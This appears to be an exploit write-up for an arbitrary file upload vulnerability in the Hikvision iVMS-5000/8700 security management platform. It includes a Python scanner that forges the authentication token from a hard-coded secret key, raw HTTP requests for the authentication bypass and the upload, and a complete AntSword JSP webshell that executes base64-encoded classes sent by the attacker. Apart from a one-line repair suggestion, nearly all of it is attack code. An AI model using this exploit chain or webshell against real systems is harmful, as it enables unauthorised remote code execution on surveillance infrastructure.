0x01 Product Introduction
Hikvision's iVMS centralized monitoring application management platform is oriented by security protection business applications, based on video image applications, and integrates various security protection application systems such as video surveillance, networked alarms, intelligent analysis, and operation and maintenance management. A comprehensive management platform for multi-service applications.
0x02 Vulnerability Overview
The Hikvision iVMS system has an in-the-wild 0-day vulnerability. The attacker constructs a token arbitrarily by obtaining the key, and requests the /resourceOperations/upload interface to upload files arbitrarily, resulting in obtaining the server webshell permission and remotely executing malicious code.
0x03 range of influence
Hikvision Integrated Security System iVMS-5000
Hikvision Integrated Security System iVMS-8700
0x04 Recurrence environment
Intergraph fingerprint: web.body="/views/home/file/installPackage.rar"
0x05 Vulnerability Reappearance
Detection script PoC: https://github.com/sccmdaveli/hikvision-poc
import requests
import urllib3
import urllib
import hashlib
import argparse
from colorama import init
from colorama import Fore
init(autoreset=True)
urllib3.disable_warnings()
head = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36",
"Cookie": "ISMS_8700_Sessionname=ABCB193BD9D82CC2D6094F6ED4D81169"
}
def md5encode(url):
if url.endswith("/"):
path = "eps/api/resourceOperations/uploadsecretKeyIbuilding"
else:
path = "/eps/api/resourceOperations/uploadsecretKeyIbuilding"
encodetext = url + path
input_name = hashlib.md5()
input_name.update(encodetext.encode("utf-8"))
return (input_name.hexdigest()).upper()
def poc(url):
if url.endswith("/"):
path = "eps/api/resourceOperations/upload?token="
else:
path = "/eps/api/resourceOperations/upload?token="
pocurl = url + path + md5encode(url)
data = {
"service": urllib.parse.quote(url + "/home/index.action")
}
try:
response = requests.post(url=pocurl,headers=head,data=data,verify=False,timeout=3)
if response.status_code==200:
print(Fore.GREEN + f"[+]{url}存在海康威视iVMS 综合安防任意文件上传漏洞!!!!")
else:
print(Fore.RED + f"[-]{url}不存在海康威视iVMS 综合安防任意文件上传漏洞")
except:
pass
if __name__ == '__main__':
parser = argparse.ArgumentParser(usage='python3 ivms.py -u http://xxxx\npython3 ivms.py -f file.txt',
description='ivms漏洞检测poc',
)
p = parser.add_argument_group('ivms 的参数')
p.add_argument("-u", "--url", type=str, help="测试单条url")
p.add_argument("-f", "--file", type=str, help="测试多个url文件")
args = parser.parse_args()
if args.url:
poc(args.url)
if args.file:
for i in open(args.file,"r").read().split("\n"):
poc(i)
How to use:
Single url detection:
python3 ivms-poc.py -u url
Multiple url detection:
python3 ivms-poc.py -f file.txt
Effect:
Manual reproduction
Vulnerability URL: /eps/api/resourceOperations/upload
bp grabs the home page package and tries to access the interface (it is found that the token needs to be authenticated)
POST /eps/api/resourceOperations/upload HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://you-ip
Connection: close
Cookie: ISMS_8700_Sessionname=7634604FBE659A8532E666FE4AA41BE9
Upgrade-Insecure-Requests: 1
Content-Length: 62
service=http%3A%2F%2Fx.x.x.x%3Ax%2Fhome%2Findex.action
Construct token to bypass authentication (internal mechanism: if the token value is the same as the md5 value of request url+secretkey, authentication can be bypassed)
secretkey is hard-coded in the code (default value: secretKeyIbuilding)
The token value needs to be MD5 encrypted (32-bit uppercase)
Combination: token=MD5(url+"secretKeyIbuilding")
revalidate
It can be seen that the successful bypass
Construct file upload payload
POST /eps/api/resourceOperations/upload?token=构造的token值 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Cookie: ISMS_8700_Sessionname=A29E70BEA1FDA82E2CF0805C3A389988
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryGEJwiloiPo
Upgrade-Insecure-Requests: 1
Content-Length: 174
------WebKitFormBoundaryGEJwiloiPo
Content-Disposition: form-data; name="fileUploader";filename="1.jsp"
Content-Type: image/jpeg
test
------WebKitFormBoundaryGEJwiloiPo
It shows that the upload is successful and the resourceUuid value is returned
Verification path: http://url/eps/upload /value of resourceUuid.jsp
0x06 exploit
Directly upload ant sword jsp Mazi
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
Uploaded successfully, try to connect
0x07 Repair suggestion
Close the permission to access the exposed surface of the Internet, and the file upload module has done a strong authentication